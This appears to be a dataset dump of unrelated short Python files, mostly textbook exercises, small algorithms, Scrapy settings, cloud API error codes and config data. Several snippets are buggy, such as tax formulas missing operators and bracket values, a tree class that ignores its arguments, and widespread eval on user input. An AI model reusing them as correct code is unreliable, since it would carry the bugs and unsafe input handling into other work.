content
stringlengths
7
1.05M
# https://github.com/cthoyt/cookiecutter-snekpack how to make folder structure # https://bmcbioinformatics.biomedcentral.com/articles/10.1186/1471-2105-14-340 article for this analysis CRED = '\033[91m' CEND = '\033[0m' EXPRESSION = "../../data/GSE161533.top.table.tsv" EXPRESSION2 = "../../data/GGSE54129.top.table.tsv" INTERACTION = "../../data/gene_interaction_map.tsv" PATHWAY = "../../data/VEGF_signaling_pathw.txt"
f = [0,1] n = int(input("numar:")) for i in range(2, n+1): f.append(f[i-1]+f[i-2]) print(f)
# -*- coding: utf-8 -*- # Scrapy settings for tech163 project # # For simplicity, this file contains only the most important settings by # default. All the other settings are documented here: # # http://doc.scrapy.org/en/latest/topics/settings.html # BOT_NAME = 'money163' SPIDER_MODULES = ['money163.spiders'] NEWSPIDER_MODULE = 'money163.spiders' ITEM_PIPELINES = {'money163.pipelines.Money163Pipeline':300,} # Crawl responsibly by identifying yourself (and your website) on the user-agent #USER_AGENT = 'tech163 (+http://www.yourdomain.com)' USER_AGENT = 'Mozilla/5.0 (X11; Windows x86_64; rv:7.0.1) Gecko/20100101 Firefox/7.7' DOWNLOAD_TIMEOUT = 35 DOWNLOAD_DELAY = 0.5 # LOG_LEVEL = "INFO" # LOG_STDOUT = True # LOG_FILE = "log/newsSpider.log"
# -*- coding: utf-8 -*- """ Created on Wed Sep 11 20:49:06 2019 @author: foolwolf0068 """ ''' # 4.1 from math import sqrt a, b, c = eval(input('Enter a, b, c: ')) delta = b*b-4*a*c if(delta<0): print('The equation has no real roots') elif(delta>0): r1 = 0.5*(-b+sqrt(delta))/a r2 = 0.5*(-b-sqrt(delta))/a print('The roots are {0:.6f} and {1:.6f}'.format(r1,r2)) else: r1 = -0.5*b/a print('The root is',r1) # 4.2 from random import randint num1 = randint(0,9) num2 = randint(0,9) num3 = randint(0,9) answer2 = eval(input('What is '+str(num1)+' + '+str(num2)+' + '+str(num3)+' ? ')) print(num1,'+',num2,'+',num3,'=',answer2, 'is',num1+num2+num3 == answer2) # 4.3 a, b, c, d, e, f = eval(input('Enter a, b, c, d, e, f: ')) div = a*d - b*c if(div != 0): x = (e*d - b*f)/div y = (a*f - e*c)/div print('x is {0:.1f} and y is {1:.1f}'.format(x, y)) else: print('The equation has no solution') # 4.4 from random import randint num1 = randint(0,99) num2 = randint(0,99) answer4 = eval(input('What is '+str(num1)+' + '+str(num2)+' ? ')) print(num1,'+',num2,'+','=',answer4,'is',num1+num2 == answer4) # 4.5 week=['Sunday', 'Monday', 'Tursday', 'Wednsday', 'Thursday', 'Friday', 'Saturday'] today = eval(input('Enter today\'s day: ')) numday = eval(input('Enter the number of days elapsed since today: ')) thatday = (today + numday)%7 print('Today is',week[today],'and the future day is', week[thatday]) # 4.6 # Prompt the user to enter weight in pounds weight = eval(input("Enter weight in pounds: ")) # Prompt the user to enter height in inches height0 = eval(input('Enter feet: ')) height = eval(input("Enter height in inches: "))+height0*12 KILOGRAMS_PER_POUND = 0.45359237 # Constant METERS_PER_INCH = 0.0254 # Constant # Compute BMI weightInKilograms = weight * KILOGRAMS_PER_POUND heightInMeters = height * METERS_PER_INCH bmi = weightInKilograms / (heightInMeters * heightInMeters) # Display result print("BMI is", format(bmi, ".15f")) if bmi < 18.5: print("You are Underweight") elif bmi < 25: print("You are Normal") elif bmi < 30: print("You are Overweight") else: print("You are Obese") # 4.7 # Receive the amount amount = eval(input("Enter an amount, for example, 1156: ")) # Convert the amount to cents remainingAmount = amount #int(amount * 100) # Find the number of one dollars numberOfOneDollars = remainingAmount // 100 remainingAmount = remainingAmount % 100 # Find the number of quarters in the remaining amount numberOfQuarters = remainingAmount // 25 remainingAmount = remainingAmount % 25 # Find the number of dimes in the remaining amount numberOfDimes = remainingAmount // 10 remainingAmount = remainingAmount % 10 # Find the number of nickels in the remaining amount numberOfNickels = remainingAmount // 5 remainingAmount = remainingAmount % 5 # Find the number of pennies in the remaining amount numberOfPennies = remainingAmount # Display the results print("Your amount", amount, "consists of:") if(numberOfOneDollars!=0): print("\t", numberOfOneDollars,end=' ') if(numberOfOneDollars==1): print("dollar") elif(numberOfOneDollars>=2): print("dollars") if(numberOfQuarters!=0): print("\t", numberOfQuarters,end=' ') if(numberOfQuarters==1): print("quarter") elif(numberOfQuarters>=2): print("quarters") if(numberOfDimes!=0): print("\t", numberOfDimes,end=' ') if(numberOfDimes==1): print("dime") elif(numberOfDimes>=2): print("dimes") if(numberOfNickels!=0): print("\t", numberOfNickels,end=' ') if(numberOfNickels==1): print("nickel") elif(numberOfNickels>=2): print("nickels") if(numberOfPennies!=0): print("\t", numberOfPennies,end=' ') if(numberOfPennies==1): print("penny") elif(numberOfPennies>=2): print("pennies") # 4.8 num1 = eval(input('num1 = ')) num2 = eval(input('num2 = ')) num3 = eval(input('num3 = ')) num = [num1, num2, num3] num.sort() print(num) #4.9 weight1, price1 = eval(input('Enter weight and price for package 1: ')) weight2, price2 = eval(input('Enter weight and price for package 2: ')) rate1 = price1/weight1 rate2 = price2/weight2 if(rate1<rate2): print('Package 1 has the better price.') elif(rate1>rate2): print('Package 2 has the better price.') else: print('Either of them is OK.') # 4.10 import random # 1. Generate two random single-digit integers number1 = random.randint(0, 99) number2 = random.randint(0, 99) # 2. If number1 < number2, swap number1 with number2 if number1 < number2: number1, number2 = number2, number1 # Simultaneous assignment # 3. Prompt the student to answer "What is number1 - number2?" answer = eval(input("What is "+ str(number1) + " x " +str(number2) + " ? ")) # 4. Check the answer and display the result if number1 * number2 == answer: print("You are correct!") else: print("Your answer is wrong.\n", number1, 'x',number2, "is", number1 * number2, '.') # 4.11 dayOfMonth = [31,28,31,30,31,30,31,31,30,31,30,31] nameOfMonth = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'] month, year = eval(input('Enter the month and year: ')) isLeapYear = (year%400==0)or((year%4==0)and(year%100!=0)) print(nameOfMonth[month-1],year,'has',end=' ') if((month==2) and isLeapYear): print('29 days.') else: print(dayOfMonth[month-1],'days.') # 4.12 num12 = eval(input('Enter an integer: ')) print('Is',num12,'divisible by 5 and 6?',(num12%30==0)) print('Is',num12,'divisible by 5 or 6?',(num12%5==0 or num12%6==0)) print('Is',num12,'divisible by 5 or 6, but not both?', (num12%5==0 or num12%6==0)and(num12%30!=0)) # 4.13 import sys # Prompt the user to enter filing status status = eval(input( "(0-single filer, 1-married jointly,\n" + "2-married separately, 3-head of household)\n" + "Enter the filing status: ")) # Prompt the user to enter taxable income income = eval(input("Enter the taxable income: ")) # Compute tax tax = 0 if status == 0: # Compute tax for single filers if income <= 8350: tax = income * 0.10 elif income <= 33950: tax = 8350 * 0.10 + (income - 8350) * 0.15 elif income <= 82250: tax = 8350 * 0.10 + (33950 - 8350) * 0.15 + \ (income - 33950) * 0.25 elif income <= 171550: tax = 8350 * 0.10 + (33950 - 8350) * 0.15 + \ (82250 - 33950) * 0.25 + (income - 82250) * 0.28 elif income <= 372950: tax = 8350 * 0.10 + (33950 - 8350) * 0.15 + \ (82250 - 33950) * 0.25 + (171550 - 82250) * 0.28 + \ (income - 171550) * 0.33 else: tax = 8350 * 0.10 + (33950 - 8350) * 0.15 + \ (82250 - 33950) * 0.25 + (171550 - 82250) * 0.28 + \ (372950 - 171550) * 0.33 + (income - 372950) * 0.35 elif status == 1: # Compute tax for married file jointly #print("Left as exercise") if income <= 16700: tax = income * 0.10 elif income <= 67900: tax = 16700 * 0.10 + (income - 16701) * 0.15 elif income <= 137050: tax = 16700 * 0.10 + (67900 - 16701) * 0.15 + \ (income - 67900) * 0.25 elif income <= 208850: tax = 16700 * 0.10 + (67900 - 16701) * 0.15 + \ (137050 - 67901) * 0.25 + (income - 137051) * 0.28 elif income <= 372905: tax = 16700 * 0.10 + (67900 - 16701) * 0.15 + \ (137050 - 67901) * 0.25 + (208850 - 137051) * 0.28 \ (income - 208851) * 0.33 else: tax = 16700 * 0.10 + (67900 - 16701) * 0.15 + \ (137050 - 67901) * 0.25 + (208850 - 137051) * 0.28 \ (372950 - 208851) * 0.33 + (income - 372951) * 0.35 elif status == 2: # Compute tax for married separately #print("Left as exercise") if income <= 8350: tax = income * 0.10 elif income <= 33950: tax = 835 + (income - 8351) * 0.15 elif income <= 68525: tax = 835 + (33950 - 8351) * 0.15 + (income - 33951) * 0.25 elif income <= 104425: tax = 835 + (33950 - 8351) * 0.15 + (68525- 33951) * 0.25 + \ (income - 68526) * 0.28 elif income <= 186475: tax = 835 + (33950 - 8351) * 0.15 + (68525- 33951) * 0.25 + \ (104425 - 68526) * 0.28 + (income - 104426) * 0.33 else: tax = 835 + (33950 - 8351) * 0.15 + (68525- 33951) * 0.25 + \ (104425 - 68526) * 0.28 + (186475 - 104426) * 0.33 +\ (income - 186476) * 0.35 elif status == 3: # Compute tax for head of household #print("Left as exercise") if income <= 11950: tax = income * 0.10 elif income <= 45500: tax = 1195 + (income - 11951) * 0.15 elif income <= 117450: tax = 1195 + (45500 - 11951) * 0.15 + (income - 45501) * 0.25 elif income <= 190200: tax = 1195 + (45500 - 11951) * 0.15 + (117450 - 45501) * 0.25 + \ (income - 177451) * 0.28 elif income <= 372950: tax = 1195 + (45500 - 11951) * 0.15 + (117450 - 45501) * 0.25 + \ (190200 - 177451) * 0.28 + (income - 190201) * 0.33 else: tax = 195 + (45500 - 11951) * 0.15 + (117450 - 45501) * 0.25 + \ (190200 - 177451) * 0.28 + (372950 - 190201) * 0.33+ \ (income - 372951) * 0.35 else: print("Error: invalid status") sys.exit() # Display the result print("Tax is", format(tax, ".2f")) # 4.14 from random import randint answer = randint(0,1) guess = eval(input('0-Head, 1-Tail, Enter the integer: ')) if(answer==0): print('The flipped coin displays the head.') if(answer==guess): print('You are right.') else: print('You are wrong.') else: print('The flipped coin displays the tail.') if(answer==guess): print('You are right.') else: print('You are wrong.') # 4.15 import random # Generate a lottery number lottery = random.randint(100, 1000) # Prompt the user to enter a guess guess = eval(input("Enter your lottery pick (two digits): ")) # Get digits from lottery lotteryDigit1 = lottery // 10 lotteryDigit2 = lottery % 10 # Get digits from guess guessDigit1 = guess // 10 guessDigit2 = guess % 10 print("The lottery number is", lottery) # Check the guess if(guess==lottery): print("Exact match: you win $10,000") elif(guessDigit2==lotteryDigit1 and \ guessDigit1==lotteryDigit2): print("Match all digits: you win $3,000") elif(guessDigit1 == lotteryDigit1 or guessDigit1 == lotteryDigit2 or guessDigit2 == lotteryDigit1 or guessDigit2 == lotteryDigit2): print("Match one digit: you win $1,000") else: print("Sorry, no match") # 4.16 from random import randint ch = randint(ord('A'),ord('Z')+1) print('The random upper charactor is', chr(ch)) # 4.17 from random import randint answer17 = randint(0,2) name = ['scissor','rock','paper'] guess17 = eval(input('scissor (0), rock (1), paper (2): ')) if(answer17==guess17): print('The computer is',name[answer17],'. You are',name[answer17], 'too. It is a draw.') else: print('The computer is',name[answer17],'. You are',name[guess17],'. You',end=' ') if(answer17==0): if(guess17==1): print('win.') else: print('lose.') elif(answer17==1): if(guess17==2): print('win.') else: print('lose.') else: if(guess17==0): print('win.') else: print('lose.') # 4.18 exchangeRate = eval(input('Enter the exchange rate from dollars to RMB: ')) verse = eval(input('Enter 0 to convert dollars to RMB and 1 vice versa: ')) if(verse==0): amount = eval(input('Enter the dollars amount: ')) print('$',amount,'is {0:.2f}'.format(amount*exchangeRate),'yuan') elif(verse==1): amount = eval(input('Enter the RMB amount: ')) print('¥',amount,'is $ {0:.2f}'.format(amount/exchangeRate)) else: print('Incorrect input') # 4.19 s1, s2, s3 = eval(input('Enter three edges: ')) if(s1<=0 or s2<=0 or s3<=0): print('The input is invalid.') else: if(s1+s2>s3 and s1+s3>s2 and s2+s3>s1): print('The perimeter is', s1+s2+s3) else: print('The input is invalid.') # 4.20 faht = eval(input('Enter the temperature in Fahrenheit between -58 and 41: ')) vw = eval(input('Enter the wind speed in miles per hour: ')) if((-58<=faht<=41) and (vw>=2)): wci = 35.74 + 0.6215*faht - 35.75*vw**0.16 + 0.4275*faht*vw**0.16 print('The wind chill index is',round(wci,5)) else: print('The input is in valid') # 4.21 from math import floor year = eval(input('Enter year: (e.g., 2008): ')) m = eval(input('Enter month: 1-12: ')) q = eval(input('Enter the day of the month: 1-31: ')) week = ['Saturday','Sunday','Monday','Tursday','Wednsday','Thursday','Friday'] if(year>0 and 1<=m<=12 and 1<=q<=31): if(m==1 or m==2): m += 12 k = year%100 h = (q+floor(26*(m+1)/10)+k+floor(k/4)+floor(floor(year/100)/4) +5*floor(year/100))%7 print('Day of the week is',week[h]) else: print('The input is invalid') # 4.22 x, y = eval(input('Enter a point with two coordinates: ')) print('Point ({0:.1f}, {1:.1f}) is'.format(x,y),end=' ') if(x*x+y*y <= 100): print('in the circle') else: print('not in the circle') # 4.23 x, y = eval(input('Enter a point with two coordinates: ')) print('Point ({0:.1f}, {1:.1f}) is'.format(x,y),end=' ') if(-5<=x<=5 and -2.5<=y<=2.5): print('in the rectangle') else: print('not in the rectangle') # 4.24 from random import randint size = ['Ace','2','3','4','5','6','7','8','9','10','Jack','Queen','King'] color = ['Club','Heart','Diamond','Spade'] numOfSize = randint(0,12) numOfColor = randint(0,3) print('The card you picked is the',size[numOfSize],'of',color[numOfColor]) # 4.25 x1, y1, x2, y2, x3, y3, x4, y4 = eval(input('Enter x1, y1, x2, y2, x3, y3, x4, y4: ')) a, b = y1-y2,x2-x1 e = a*x1 + b*y1 c, d = y3-y4, x4-x3 f = c*x3 + d*y3 div = a*d - b*c if(div != 0): x = (e*d - b*f)/div y = (a*f - e*c)/div print('The intersecting point is at({0:.5f}, {1:.5f})'.format(x, y)) else: print('The two lines are parallel') # 4.26 num26 = input('Enter a three-digit integer: ') if((99<eval(num26)<1000) and num26[0]==num26[-1]): print(eval(num26),'is a palindrome') else: print(eval(num26),'is not a palindrome') # 4.27 x, y = eval(input('Enter a point\'s x- and y-coordinates: ')) if((0<=x<=200)): y1 = -0.5*x + 100 if( y1>y): print('The point is in the triangle') else: print('The point is not in the triangle') else: print('The point is not in the triangle') # 4.28 cx1, cy1, width1, height1 = eval(input('Enter r1\'s center x-, y-coordinates, width, and heiht: ')) cx2, cy2, width2, height2 = eval(input('Enter r2\'s center x-, y-coordinates, width, and heiht: ')) if (width2*height2 > width1*height1): cx1, cx2 = cx2, cx1 cy1, cy2 = cy2, cy1 width1, width2 = width2, width1 height1, height2 = height2, height1 x11, x12 = cx1-width1/2, cx1+width1/2 y11, y12 = cy1-height1/2, cy1+height1/2 x21, x22 = cx2-width2/2, cx2+width2/2 y21, y22 = cy2-height2/2, cy2+height2/2 if(x11<=x21 and x22<=x12 and y11<=y21 and y22<=y12): print('r2 is inside r1') elif(x21>x12 or x22<x11 or y11>y22 or y12<y21): print('r2 does not overlap r1') else: print('r2 overlaps r1') # 4.29 from math import sqrt cx1, cy1, radius1 = eval(input('Enter circle1\'s center x-, y-coordinates, and radius: ')) cx2, cy2, radius2 = eval(input('Enter circle2\'s center x-, y-coordinates, and radius: ')) if(radius1<radius2): cx1,cx2 = cx2, cx1 cy1,cy2 = cy2, cy1 radius1, radius2 = radius2, radius1 d = sqrt((cx1-cx2)**2 + (cy1-cy2)**2) if(d>radius1+radius2): print('Circle2 does not overlap circle1') elif (d<=radius1): print('Circle2 is inside circle1') else: print('Circle2 overlaps circle1') # 4.30 from time import gmtime, strftime tzone0 = input("Enter the time zone offset to GMT: ") if (-10<int(tzone0)<0): tzone = tzone0[0]+'0'+tzone0[-1] elif (0<=int(tzone0)<10): tzone = '+0'+tzone0 elif (10<=int(tzone0)): tzone = '+'+tzone0 timeformat = "%H:%M:%S" +tzone+"00" time18 = strftime(timeformat, gmtime()) print('The current time is '+time18[1:-5]) # 4.31 x1, y1, x2, y2, x3, y3 = eval(input('Enter coordinates for the three points p0, p1 and p2: \n')) d = (x2-x1)*(y3-y1)-(x3-x1)*(y2-y1) if(d>0): print('p2 is on the left side of the line from p0 to p1') elif(d==0): print('p2 is on the same line from p0 to p1') else: print('P2 is on the right side of the line from p0 to p1') # 4.32 x1, y1, x2, y2, x3, y3 = eval(input('Enter coordinates for the three points p0, p1 and p2: \n')) d = (x2-x1)*(y3-y1)-(x3-x1)*(y2-y1) if(d==0 and x1<=x3<=x2): print('p2({0:.1f},{1:.1f}) is on the line segment from p0({2:.1f},{3:.1f}) to p1({4:.1f},{5:.1f})'.format(x3, y3, x1, y1, x2, y2)) else: print('p2({0:.1f},{1:.1f}) is not on the line segment from p0({2:.1f},{3:.1f}) to p1({4:.1f},{5:.1f})'.format(x3, y3, x1, y1, x2, y2)) # 4.33 nameOfHex = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'] num33 = eval(input('Enter a decimal value (0 to 15): ')) if(0<=num33<=15): print('The hex value is',nameOfHex[num33]) else: print('Invalid input') ''' # 4.34 nameOfHex = {'0':0,'1':1,'2':2,'3':3,'4':4,'5':5,'6':6,'7':7,'8':8,'9':9, 'A':10,'B':11,'C':12,'D':13,'E':14,'F':15} num34 = input('Enter a hex character: ') if(num34 in nameOfHex): print('The decimal value is',nameOfHex[num34]) elif(num34 in ['a','b','c','d','e','f']): print('The decimal value is',nameOfHex[num34.upper()]) else: print('Invalid input')
def first_letter_of_word(current_word): digits = [] new_current_word = [] for letter in current_word: if letter.isdigit(): digits.append(letter) elif letter.isalpha(): new_current_word.append(letter) first_letter = chr(int("".join(digits))) new_current_word.insert(0, first_letter) return new_current_word def change_chars(new_current_word): new_current_word[1], new_current_word[-1] = new_current_word[-1], new_current_word[1] return new_current_word def add_uncripted_word(new_current_word, new_message_list: list): new_current_word = "".join(new_current_word) new_message_list.append(new_current_word) return new_message_list def organize_words(unsecret_message): unsecret_message = " ".join(unsecret_message) return unsecret_message secret_message = input().split(" ") new_message = [] for word in secret_message: new_word = first_letter_of_word(word) new_word = change_chars(new_word) new_message = add_uncripted_word(new_word, new_message) new_message = organize_words(new_message) print(new_message)
N = int(input()) line = [] for a in range(N): line.append(int(input())) total = 0 curIter = 1 while min(line) < 999999: valleys = [] for a in range(N): if line[a] < 999999: if (a == 0 or line[a] <= line[a - 1]) and (a == N - 1 or line[a] <= line[a + 1]): valleys.append(a) for a in valleys: line[a] = 999999 total += (curIter * len(valleys)) curIter += 1 print(total)
def invert_binary_tree(node): if node: node.left, node.right = invert_binary_tree(node.right), invert_binary_tree(node.left) return node class BinaryTreeNode(object): def __init__(self, value, left=None, right=None): self.value = value self.left = None self.right = None btn_root = BinaryTreeNode(10) btn_1 = BinaryTreeNode(8) btn_2 = BinaryTreeNode(9) btn_root.left = btn_1 btn_root.right = btn_2 print(btn_root.left.value) print(btn_root.right.value) btn_root = invert_binary_tree(btn_root) print(btn_root.left.value) print(btn_root.right.value)
#!/usr/bin/env python3 def selection_sort(lst): length = len(lst) for i in range(length - 1): least = i for k in range(i + 1, length): if lst[k] < lst[least]: least = k lst[least], lst[i] = (lst[i], lst[least]) return lst print(selection_sort([5, 2, 4, 6, 1, 3]))
# -*- coding: utf8 -*- # Copyright (c) 2017-2021 THL A29 Limited, a Tencent company. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # 操作失败。 FAILEDOPERATION = 'FailedOperation' # 活动状态错误。 FAILEDOPERATION_ACTIVITYSTATUSINVALID = 'FailedOperation.ActivityStatusInvalid' # 人脸配准点出框错误码。 FAILEDOPERATION_FACEBORDERCHECKFAILED = 'FailedOperation.FaceBorderCheckFailed' # 人脸检测失败。 FAILEDOPERATION_FACEDETECTFAILED = 'FailedOperation.FaceDetectFailed' # 人脸提特征失败。 FAILEDOPERATION_FACEFEATUREFAILED = 'FailedOperation.FaceFeatureFailed' # 人脸融合失败,请更换图片后重试。 FAILEDOPERATION_FACEFUSIONERROR = 'FailedOperation.FaceFusionError' # 人脸姿态检测失败。 FAILEDOPERATION_FACEPOSEFAILED = 'FailedOperation.FacePoseFailed' # 人脸框不合法。 FAILEDOPERATION_FACERECTINVALID = 'FailedOperation.FaceRectInvalid' # 人脸配准点不合法。 FAILEDOPERATION_FACESHAPEINVALID = 'FailedOperation.FaceShapeInvalid' # 人脸因太小被过滤,建议人脸分辨率不小于34*34。 FAILEDOPERATION_FACESIZETOOSMALL = 'FailedOperation.FaceSizeTooSmall' # 人脸融合后端服务异常。 FAILEDOPERATION_FUSEBACKENDSERVERFAULT = 'FailedOperation.FuseBackendServerFault' # 未检测到人脸。 FAILEDOPERATION_FUSEDETECTNOFACE = 'FailedOperation.FuseDetectNoFace' # 操作太频繁,触发频控。 FAILEDOPERATION_FUSEFREQCTRL = 'FailedOperation.FuseFreqCtrl' # 图像处理出错。 FAILEDOPERATION_FUSEIMAGEERROR = 'FailedOperation.FuseImageError' # 服务内部错误,请重试。 FAILEDOPERATION_FUSEINNERERROR = 'FailedOperation.FuseInnerError' # 素材未经过审核。 FAILEDOPERATION_FUSEMATERIALNOTAUTH = 'FailedOperation.FuseMaterialNotAuth' # 素材不存在。 FAILEDOPERATION_FUSEMATERIALNOTEXIST = 'FailedOperation.FuseMaterialNotExist' # 保存结果图片出错。 FAILEDOPERATION_FUSESAVEPHOTOFAIL = 'FailedOperation.FuseSavePhotoFail' # 人脸检测-图片解码失败。 FAILEDOPERATION_IMAGEDECODEFAILED = 'FailedOperation.ImageDecodeFailed' # 图片下载失败。 FAILEDOPERATION_IMAGEDOWNLOADERROR = 'FailedOperation.ImageDownloadError' # 素材尺寸超过1080*1080像素。 FAILEDOPERATION_IMAGEPIXELEXCEED = 'FailedOperation.ImagePixelExceed' # 图片分辨率过大。建议您resize压缩到3k*3k以内。 FAILEDOPERATION_IMAGERESOLUTIONEXCEED = 'FailedOperation.ImageResolutionExceed' # 图片短边分辨率小于64。 FAILEDOPERATION_IMAGERESOLUTIONTOOSMALL = 'FailedOperation.ImageResolutionTooSmall' # 输入图片base64数据大小超过5M。 FAILEDOPERATION_IMAGESIZEEXCEED = 'FailedOperation.ImageSizeExceed' # base64编码后的图片数据大小不超500k。 FAILEDOPERATION_IMAGESIZEEXCEEDFIVEHUNDREDKB = 'FailedOperation.ImageSizeExceedFiveHundredKB' # 图片尺寸过大或者过小;不满足算法要求。 FAILEDOPERATION_IMAGESIZEINVALID = 'FailedOperation.ImageSizeInvalid' # 图片上传失败。 FAILEDOPERATION_IMAGEUPLOADFAILED = 'FailedOperation.ImageUploadFailed' # 素材条数超过上限。 FAILEDOPERATION_MATERIALVALUEEXCEED = 'FailedOperation.MaterialValueExceed' # 无法检测出人脸, 人脸框配准分低于阈值。 FAILEDOPERATION_NOFACEDETECTED = 'FailedOperation.NoFaceDetected' # 参数字段或者值有误。 FAILEDOPERATION_PARAMETERVALUEERROR = 'FailedOperation.ParameterValueError' # 活动未支付授权费或已停用。 FAILEDOPERATION_PROJECTNOTAUTH = 'FailedOperation.ProjectNotAuth' # 请求实体太大。 FAILEDOPERATION_REQUESTENTITYTOOLARGE = 'FailedOperation.RequestEntityTooLarge' # 后端服务超时。 FAILEDOPERATION_REQUESTTIMEOUT = 'FailedOperation.RequestTimeout' # 系统内部错误。 FAILEDOPERATION_SERVERERROR = 'FailedOperation.ServerError' # 素材人脸ID不存在。 FAILEDOPERATION_TEMPLATEFACEIDNOTEXIST = 'FailedOperation.TemplateFaceIDNotExist' # 未查找到活动id。 INVALIDPARAMETERVALUE_ACTIVITYIDNOTFOUND = 'InvalidParameterValue.ActivityIdNotFound' # 活动算法版本值错误。 INVALIDPARAMETERVALUE_ENGINEVALUEERROR = 'InvalidParameterValue.EngineValueError' # 人脸框参数有误或者人脸框太小。 INVALIDPARAMETERVALUE_FACERECTPARAMETERVALUEERROR = 'InvalidParameterValue.FaceRectParameterValueError' # 人脸检测-图片为空。 INVALIDPARAMETERVALUE_IMAGEEMPTY = 'InvalidParameterValue.ImageEmpty' # 未查找到素材Id。 INVALIDPARAMETERVALUE_MATERIALIDNOTFOUND = 'InvalidParameterValue.MaterialIdNotFound' # 人脸检测-图片没有人脸。 INVALIDPARAMETERVALUE_NOFACEINPHOTO = 'InvalidParameterValue.NoFaceInPhoto' # 资源正在发货中。 RESOURCEUNAVAILABLE_DELIVERING = 'ResourceUnavailable.Delivering' # 帐号已被冻结。 RESOURCEUNAVAILABLE_FREEZE = 'ResourceUnavailable.Freeze' # 获取认证信息失败。 RESOURCEUNAVAILABLE_GETAUTHINFOERROR = 'ResourceUnavailable.GetAuthInfoError' # 帐号已欠费。 RESOURCEUNAVAILABLE_INARREARS = 'ResourceUnavailable.InArrears' # 余额不足。 RESOURCEUNAVAILABLE_LOWBALANCE = 'ResourceUnavailable.LowBalance' # 计费状态未知,请确认是否已在控制台开通服务。 RESOURCEUNAVAILABLE_NOTEXIST = 'ResourceUnavailable.NotExist' # 服务未开通。 RESOURCEUNAVAILABLE_NOTREADY = 'ResourceUnavailable.NotReady' # 资源已被回收。 RESOURCEUNAVAILABLE_RECOVER = 'ResourceUnavailable.Recover' # 帐号已停服。 RESOURCEUNAVAILABLE_STOPUSING = 'ResourceUnavailable.StopUsing' # 计费状态未知。 RESOURCEUNAVAILABLE_UNKNOWNSTATUS = 'ResourceUnavailable.UnknownStatus' # 帐号已欠费。 RESOURCESSOLDOUT_CHARGESTATUSEXCEPTION = 'ResourcesSoldOut.ChargeStatusException'
class EmailTypes(object): AUTH_WELCOME_EMAIL = "auth__welcome_email" AUTH_VERIFY_SIGNUP_EMAIL = "auth__verify_signup_email" EMAILS = {} EMAILS[EmailTypes.AUTH_WELCOME_EMAIL] = { "is_active": False, "html_template": "emails/action-template.html", "text_template": "emails/action-template.txt", "subject": "", "sender": "EMAIL SUBJECT", "message": u"""EMAIL MESSAGE""", "title": u"Title", "title_color": "", "signature": { "sign_off": "Best,", "name": "First Last Name", "email": "[email protected]", "email_subject": "", "tile": "", }, "cta_i": { "button_title": "Confirm Email Address", "button_color": "", "button_link": "", "message": "", } } EMAILS[EmailTypes.AUTH_VERIFY_SIGNUP_EMAIL] = { "is_active": False, "html_template": "emails/action-template.html", "text_template": "emails/action-template.txt", "subject": "", "sender": "EMAIL SUBJECT", "message": u"""EMAIL MESSAGE""", "title": u"Title", "title_color": "", "signature": { "sign_off": "Best,", "name": "First Last Name", "email": "[email protected]", "email_subject": "", "tile": "", }, "cta_i": { "button_title": "Confirm Email Address", "button_color": "", "button_link": "", "message": "", } }
test = { 'name': 'q3_1_8', 'points': 1, 'suites': [ { 'cases': [ { 'code': r""" >>> genre_and_distances.labels == ('Genre', 'Distance') True """, 'hidden': False, 'locked': False }, { 'code': r""" >>> genre_and_distances.num_rows == train_movies.num_rows True """, 'hidden': False, 'locked': False }, { 'code': r""" >>> print(genre_and_distances.group('Genre')) Genre | count comedy | 113 thriller | 201 """, 'hidden': False, 'locked': False }, { 'code': r""" >>> np.allclose(genre_and_distances.column('Distance'), sorted(fast_distances(test_my_features.row(0), train_my_features))) True """, 'hidden': False, 'locked': False } ], 'scored': True, 'setup': '', 'teardown': '', 'type': 'doctest' } ] }
count = input('How many people will be in the dinner group? ') count = int(count) if count > 8: print('You\'ll have to wait for a table.') else: print('The table is ready.')
# Automatically generated # pylint: disable=all get = [{'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 1, 'DefaultCores': 1, 'DefaultThreadsPerCore': 1, 'ValidCores': [1], 'ValidThreadsPerCore': [1], 'SizeInMiB': 2048, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 2, 'Ipv4AddressesPerInterface': 4, 'Ipv6AddressesPerInterface': 4, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.medium', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3}, 'VCpuInfo': {'DefaultVCpus': 1, 'DefaultCores': 1, 'DefaultThreadsPerCore': 1, 'ValidCores': [1], 'ValidThreadsPerCore': [1]}, 'MemoryInfo': {'SizeInMiB': 2048}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 2, 'Ipv4AddressesPerInterface': 4, 'Ipv6AddressesPerInterface': 4, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': True}, {'SupportedArchitectures': ['arm64'], 'SustainedClockSpeedInGhz': 2.3, 'DefaultVCpus': 2, 'DefaultCores': 2, 'DefaultThreadsPerCore': 1, 'ValidCores': [2], 'ValidThreadsPerCore': [1], 'SizeInMiB': 4096, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 10 Gigabit', 'MaximumNetworkInterfaces': 3, 'Ipv4AddressesPerInterface': 10, 'Ipv6AddressesPerInterface': 10, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'InstanceType': 'a1.large', 'CurrentGeneration': True, 